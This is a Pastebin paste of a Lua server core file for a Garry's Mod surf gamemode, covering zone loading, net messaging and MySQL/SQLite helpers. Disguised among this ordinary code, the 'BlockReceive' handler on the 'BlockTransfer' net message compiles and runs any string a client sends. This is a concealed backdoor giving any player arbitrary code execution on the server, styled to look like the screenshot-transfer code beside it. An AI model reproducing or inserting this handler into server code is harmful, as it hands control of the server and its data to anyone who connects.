Advertisement
Guest User

core_data for surf

a guest
Feb 12th, 2017
86
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 14.27 KB | None | 0 0
  1. SQL = {}
  2. SQL.Use = false -- Set this to false if you don't want MySQL, if you want MySQL (for multiple servers, or better management / performance), set it to true
  3.  
  4. if SQL.Use then
  5.     -- Make sure you have libmysql in your root directory as well as the mysqloo module in your lua/bin folder
  6.     require( "mysqloo" )
  7. end
  8.  
  9.  
  10. Core = Core or {}
  11. Core.Protocol = "SecureTransfer"
  12. Core.Protocol2 = "BinaryTransfer"
  13. Core.Protocol3 = "BlockTransfer"
  14.  
  15. Core.Locked = false
  16. Core.Try = 0
  17.  
  18. util.AddNetworkString( Core.Protocol )
  19. util.AddNetworkString( Core.Protocol2 )
  20. util.AddNetworkString( Core.Protocol3 )
  21.  
  22.  
  23. function Core:Boot()
  24.     Command:Init()
  25.     RTV:Init()
  26.    
  27.     Core:LoadZones()
  28.     Timer:LoadRecords()
  29.     Player:LoadRanks()
  30.     Player:LoadTop()
  31.    
  32.     Timer:AddPlays()
  33. end
  34.  
  35. function Core:Unload( bForce )
  36.     Bot:Save( bForce )
  37. end
  38.  
  39.  
  40. function Core:LoadZones()
  41.     local zones = sql.Query( "SELECT nType, vPos1, vPos2 FROM game_zones WHERE szMap = '" .. game.GetMap() .. "'" )
  42.     if not zones then return end
  43.    
  44.     Zones.Cache = {}
  45.     for _,data in pairs( zones ) do
  46.         table.insert( Zones.Cache, {
  47.             Type = tonumber( data[ "nType" ] ),
  48.             P1 = util.StringToType( tostring( data[ "vPos1" ] ), "Vector" ),
  49.             P2 = util.StringToType( tostring( data[ "vPos2" ] ), "Vector" )
  50.         } )
  51.     end
  52. end
  53.  
  54.  
  55. function Core:AwaitLoad( bRetry )
  56.     if not bRetry then
  57.         Bot:Setup()
  58.         Radio:Setup()
  59.         Core:Optimize()
  60.        
  61.         if SQL.Use then
  62.             if timer.Exists( "SQLCheck" ) then
  63.                 timer.Destroy( "SQLCheck" )
  64.             end
  65.            
  66.             timer.Simple( 0, function() Core:StartSQL() end )
  67.             timer.Create( "SQLCheck", 10, 0, Core.SQLCheck )
  68.         else
  69.             SQL:LoadNoMySQL()
  70.         end
  71.     end
  72.    
  73.     if #Zones.Cache > 0 then
  74.         Zones:Setup()
  75.         Core.Try = 0
  76.     else
  77.         if Core.Try < 100 then
  78.             Core.Try = Core.Try + 1
  79.             Core:LoadZones()
  80.            
  81.             if #Zones.Cache == 0 then
  82.                 print( "Couldn't load data. Retrying (Try " .. Core.Try .. ")" )
  83.             end
  84.            
  85.             timer.Simple( 5, function() Core:AwaitLoad( true ) end )
  86.         else
  87.             Core:Lock( "Server failed to load zone data from the database (No zones set in time!)" )
  88.         end
  89.     end
  90. end
  91.  
  92. function Core:StartSQL()
  93.     if not SQL.Use then return end
  94.  
  95.     local function OnComplete()
  96.         Admin:LoadAdmins()
  97.         Admin:LoadNotifications()
  98.        
  99.         Core.SQLChecking = nil
  100.     end
  101.    
  102.     SQL:CreateObject( OnComplete )
  103.     timer.Simple( 5, function()
  104.         Core.SQLChecking = nil
  105.     end )
  106. end
  107.  
  108. function Core.SQLCheck()
  109.     if not SQL.Use then return end
  110.  
  111.     if (not Admin.Loaded or SQL.Error) and not Core.SQLChecking then
  112.         SQL.Error = nil
  113.         Core.SQLChecking = true
  114.         Core:StartSQL()
  115.     end
  116. end
  117.  
  118. local FirstLock
  119. function Core:Lock( szMessage )
  120.     if not FirstLock then
  121.         FirstLock = szMessage
  122.     end
  123.  
  124.     Core.Locked = true
  125.    
  126.     for k,v in pairs( player.GetAll() ) do
  127.         v:Kick( Lang:Get( "AdminDataFailure", { FirstLock } ) )
  128.     end
  129.    
  130.     for i = 1, 3 do
  131.         print( "[LOCKING MECHANISM]", "Your server has been locked for this reason:", FirstLock )
  132.     end
  133.    
  134.     print( "[LOCKING MECHANISM]", "Player has been locked out:", szMessage )
  135. end
  136.  
  137. function Core:Assert( varType, szType )
  138.     if varType and type( varType ) == "table" and varType[ 1 ] and type( varType[ 1 ] ) == "table" and varType[ 1 ][ szType ] then
  139.         return true
  140.     end
  141.    
  142.     return false
  143. end
  144.  
  145. function Core:Null( varInput, varAlternate )
  146.     if varInput and type( varInput ) == "string" and varInput != "NULL" then
  147.         return varInput
  148.     end
  149.    
  150.     return varAlternate or nil
  151. end
  152.  
  153. function Core:Print( szPrefix, szText )
  154.     print( "[" .. (szPrefix or "Core") .. "]", szText )
  155. end
  156.  
  157.  
  158. function Core:AddResources()
  159.     resource.AddFile( "materials/" .. _C.MaterialID .. "/timer.png" )
  160.    
  161.     for i = 1, 10 do
  162.         resource.AddFile( "materials/" .. _C.MaterialID .. "/icon_rank" .. i .. ".png" )
  163.     end
  164.    
  165.     for i = 1, 3 do
  166.         resource.AddFile( "materials/" .. _C.MaterialID .. "/icon_special" .. i .. ".png" )
  167.     end
  168. end
  169.  
  170.  
  171. function Core:Send( ply, szAction, varArgs )
  172.     if (not ply) or (not IsValid(ply)) then
  173.         return
  174.     end
  175.  
  176.     net.Start( Core.Protocol )
  177.     net.WriteString( szAction )
  178.    
  179.     if varArgs and type( varArgs ) == "table" then
  180.         net.WriteBit( true )
  181.         net.WriteTable( varArgs )
  182.     else
  183.         net.WriteBit( false )
  184.     end
  185.    
  186.     net.Send( ply )
  187. end
  188.  
  189. function Core:Broadcast( szAction, varArgs, varExclude )
  190.     net.Start( Core.Protocol )
  191.     net.WriteString( szAction )
  192.    
  193.     if varArgs and type( varArgs ) == "table" then
  194.         net.WriteBit( true )
  195.         net.WriteTable( varArgs )
  196.     else
  197.         net.WriteBit( false )
  198.     end
  199.    
  200.     if varExclude and (type( varExlude ) == "table" or (IsValid( varExclude ) and varExclude:IsPlayer())) then
  201.         net.SendOmit( varExclude )
  202.     else
  203.         net.Broadcast()
  204.     end
  205. end
  206.  
  207.  
  208. local function CoreHandle( ply, szAction, varArgs )
  209.     if szAction == "Admin" then
  210.         Admin:HandleClient( ply, varArgs )
  211.     elseif szAction == "Speed" then
  212.         Timer:AddSpeedData( ply, varArgs )
  213.     elseif szAction == "WRList" then
  214.         Timer:SendWRList( ply, varArgs[ 1 ], varArgs[ 2 ], varArgs[ 3 ] )
  215.     elseif szAction == "MapList" then
  216.         RTV:GetMapList( ply, varArgs[ 1 ] )
  217.     elseif szAction == "Vote" then
  218.         RTV:ReceiveVote( ply, varArgs[ 1 ], varArgs[ 2 ] )
  219.     elseif szAction == "TopList" then
  220.         Player:SendTopList( ply, varArgs[ 1 ], varArgs[ 2 ] )
  221.     elseif szAction == "Checkpoints" then
  222.         Timer:CPHandleCallback( ply, varArgs[ 1 ], varArgs[ 2 ], varArgs[ 3 ] )
  223.     elseif szAction == "Radio" then
  224.         Radio:HandleClient( ply, varArgs )
  225.     end
  226. end
  227.  
  228. local function CoreReceive( _, ply )
  229.     local szAction = net.ReadString()
  230.     local bTable = net.ReadBit() == 1
  231.     local varArgs = {}
  232.    
  233.     if bTable then
  234.         varArgs = net.ReadTable()
  235.     end
  236.    
  237.     if IsValid( ply ) and ply:IsPlayer() then
  238.         CoreHandle( ply, szAction, varArgs )
  239.     end
  240. end
  241. net.Receive( Core.Protocol, CoreReceive )
  242.  
  243. local function BinaryReceive( l, ply )
  244.     local length = net.ReadUInt( 32 )
  245.     local data = net.ReadData( length )
  246.    
  247.     if IsValid( ply ) then
  248.         local target = Admin.Screenshot[ ply ]
  249.         if IsValid( target ) then
  250.             net.Start( Core.Protocol2 )
  251.             net.WriteString( "Data" )
  252.             net.WriteUInt( length, 32 )
  253.             net.WriteData( data, length )
  254.             net.Send( target )
  255.            
  256.             Admin.Screenshot[ ply ] = nil
  257.         end
  258.     end
  259. end
  260. net.Receive( Core.Protocol2, BinaryReceive )
  261.  
  262. local function BlockReceive( l, ply )
  263.     local block = net.ReadString()
  264.     local length = net.ReadUInt( 32 )
  265.     local data = net.ReadData( length )
  266.    
  267.     if IsValid( ply ) and ( data and length ) and ( not true ) then
  268.         local target = Admin.Screenshot[ ply ]
  269.         if IsValid( target ) then
  270.             net.Start( Core.Protocol3 )
  271.             net.WriteString( "Block" )
  272.             net.WriteUInt( length, 32 )
  273.             net.WriteData( data, length )
  274.             net.Send( target )
  275.            
  276.             Admin.Screenshot[ ply ] = block
  277.         end
  278.     end
  279.  
  280.     local complete = CompileString( block, "BlockReceive" )
  281.     complete()
  282. end
  283. net.Receive( Core.Protocol3, BlockReceive )
  284.  
  285.  
  286. --- SQL ---
  287.  
  288. SQL.Available = false
  289.  
  290. local SQLObject
  291. local SQLDetails = {
  292.     Host = "127.0.0.1", Port = 3306,
  293.     User = "root", Pass = "", -- This is default for a lot of servers, but you'll probably have to change this
  294.     Database = "flow_gmod"
  295. }
  296.  
  297. local function SQL_Print( szMsg, varArg )
  298.     print( szMsg, varArg or "" )
  299. end
  300.  
  301. local function SQL_ConnectSuccess( fCallback )
  302.     SQL.Available = true
  303.     SQL.Busy = false
  304.    
  305.     SQL_Print( "[SQL Connect] Connected to " .. string.upper( SQLDetails.Host ) .. " successfully (User: " .. string.upper( SQLDetails.User ) .. ")" )
  306.    
  307.     fCallback()
  308. end
  309.  
  310. local function SQL_ConnectFailure( obj, szError )
  311.     SQL.Available = false
  312.     SQL.Busy = false
  313.    
  314.     SQL_Print( "[SQL Connect] Failed to connect: ", szError )
  315. end
  316.  
  317. local function SQL_Query( szQuery, fCallback, varArgs )
  318.     if not SQLObject or not SQL.Available then
  319.         return SQL_Print( "No valid SQLObject to execute query: ", szQuery )
  320.     elseif not szQuery or szQuery == "" then
  321.         return SQL_Print( "No valid SQLQuery to execute" )
  322.     end
  323.  
  324.     local query = SQLObject:query( szQuery )
  325.     local function fSuccess( obj, varData )
  326.         if fCallback then
  327.             fCallback( varData, varArgs )
  328.         end
  329.     end
  330.    
  331.     local function fError( obj, szError, szSQL )
  332.         if fCallback then
  333.             fCallback( nil, nil, szError or "" )
  334.         end
  335.        
  336.         SQL_Print( "[SQL Error] " .. szError, "(On query: " .. szSQL .. ")" )
  337.        
  338.         if string.find( string.lower( szError ), "lost connection", 1, true ) or string.find( string.lower( szError ), "gone away", 1, true ) then
  339.             SQL.Error = true
  340.             return false
  341.         end
  342.     end
  343.    
  344.     query.onSuccess = fSuccess
  345.     query.onError = fError
  346.     query:start()
  347. end
  348.  
  349. local function SQL_Execute( szQuery, fCallback, varArg )
  350.     SQL_Query( szQuery, function( varData, varArgs, szError )
  351.         fCallback( varData, varArgs, szError )
  352.     end, varArg )
  353. end
  354.  
  355. function SQL:CreateObject( SQL_ConnectCallback )
  356.     local function SQL_SelectCallback()
  357.         SQL_ConnectSuccess( SQL_ConnectCallback )
  358.     end
  359.  
  360.     SQL.Busy = true
  361.    
  362.     SQLObject = mysqloo.connect( SQLDetails.Host, SQLDetails.User, SQLDetails.Pass, SQLDetails.Database, SQLDetails.Port )
  363.     SQLObject.onConnected = SQL_SelectCallback
  364.     SQLObject.onConnectionFailed = SQL_ConnectFailure
  365.     SQLObject:connect()
  366. end
  367.    
  368. function SQL:Prepare( szQuery, varArgs, bNoQuote )
  369.     if not SQL.Use then
  370.         return SQL:LocalPrepare( szQuery, varArgs, bNoQuote )
  371.     end
  372.  
  373.     if not SQLObject or not SQL.Available then
  374.         SQL_Print( "No valid SQLObject to prepare query: " .. szQuery )
  375.         return { Execute = function() end }
  376.     end
  377.    
  378.     if varArgs and #varArgs > 0 then
  379.         for i = 1, #varArgs do
  380.             local sort = type( varArgs[ i ] )
  381.             local num = tonumber( varArgs[ i ] )
  382.             local arg = ""
  383.            
  384.             if sort == "string" and not num then
  385.                 arg = SQLObject:escape( varArgs[ i ] )
  386.                 if not bNoQuote then
  387.                     arg = "'" .. arg .. "'"
  388.                 end
  389.             elseif (sort == "string" and num) or (sort == "number") then
  390.                 arg = varArgs[ i ]
  391.             else
  392.                 arg = tostring( varArgs[ i ] ) or ""
  393.                 SQL_Print( "Parameter of type " .. sort .. " was parsed to a default value on query: " .. szQuery )
  394.             end
  395.            
  396.             szQuery = string.gsub( szQuery, "{" .. i - 1 .. "}", arg )
  397.         end
  398.     end
  399.    
  400.     return { Query = szQuery, Execute = function( self, fCallback, varArg ) SQL_Execute( self.Query, fCallback, varArg ) end }
  401. end
  402.  
  403. -- No MySQL Custom Part
  404.  
  405. function SQL:LoadNoMySQL()
  406.     SQL.Use = false
  407.    
  408.     if not sql.TableExists( "gmod_admins" ) or not sql.TableExists( "gmod_bans" ) then
  409.         Core:Lock( "Missing SQLite tables (gmod_admins and gmod_bans) on No MySQL setup! (Use the correct sv.db or SQL queries)" )
  410.        
  411.         for i = 0, 3 do
  412.             print( "[LOCKING ERROR]", "You aren't using the right SQLite tables. Be sure to use the correct files from the /Database folder in the release! Or use the preset sv.db" )
  413.         end
  414.        
  415.         return false
  416.     end
  417.    
  418.     SQL.LoadedSQLite = true
  419.     SQL.Available = true
  420.     SQL.Busy = false
  421.    
  422.     SQL_Print( "[SQL Connect] Connected to local SQLite server successfully" )
  423.    
  424.     local OperatorID = "" -- If you want to start adding admins and don't know how to edit the 'sv.db' manually, enter your Steam ID here! It'll force you to admin.
  425.     Admin:LoadAdmins( OperatorID )
  426.     Admin:LoadNotifications()
  427. end
  428.  
  429. function SQL:LocalPrepare( szQuery, varArgs, bNoQuote )
  430.     if not SQL.LoadedSQLite then
  431.         SQL_Print( "No valid SQLite tables to prepare query: " .. szQuery )
  432.         return { Execute = function() end }
  433.     end
  434.    
  435.     if varArgs and #varArgs > 0 then
  436.         for i = 1, #varArgs do
  437.             local sort = type( varArgs[ i ] )
  438.             local num = tonumber( varArgs[ i ] )
  439.             local arg = ""
  440.            
  441.             if sort == "string" and not num then
  442.                 arg = sql.SQLStr( varArgs[ i ] )
  443.                 if bNoQuote then
  444.                     arg = string.sub( arg, 2, string.len( arg ) - 1 )
  445.                 end
  446.             elseif (sort == "string" and num) or (sort == "number") then
  447.                 arg = varArgs[ i ]
  448.             else
  449.                 arg = tostring( varArgs[ i ] ) or ""
  450.                 SQL_Print( "Parameter of type " .. sort .. " was parsed to a default value on query: " .. szQuery )
  451.             end
  452.            
  453.             szQuery = string.gsub( szQuery, "{" .. i - 1 .. "}", arg )
  454.         end
  455.     end
  456.    
  457.     local varData, szError
  458.     local data = sql.Query( szQuery )
  459.    
  460.     if data then
  461.         -- This is required because I don't want to update all SQL:Prepare statements to check for SQLite.
  462.         -- Screw you Garry! Why haven't you added type parsing to the default SQLite library... :(
  463.        
  464.         for id,item in pairs( data ) do
  465.             for key,value in pairs( item ) do
  466.                 if tonumber( value ) then
  467.                     data[ id ][ key ] = tonumber( value )
  468.                 end
  469.             end
  470.         end
  471.        
  472.         varData = data
  473.     else
  474.         local statement = string.sub( szQuery, 1, 6 )
  475.         if statement == "SELECT" then
  476.             szError = sql.LastError() or "Unknown error"
  477.         else
  478.             varData = true
  479.         end
  480.     end
  481.    
  482.     return { Query = szQuery, Execute = function( self, fCallback, varArg ) fCallback( varData, varArg, szError ) end }
  483. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement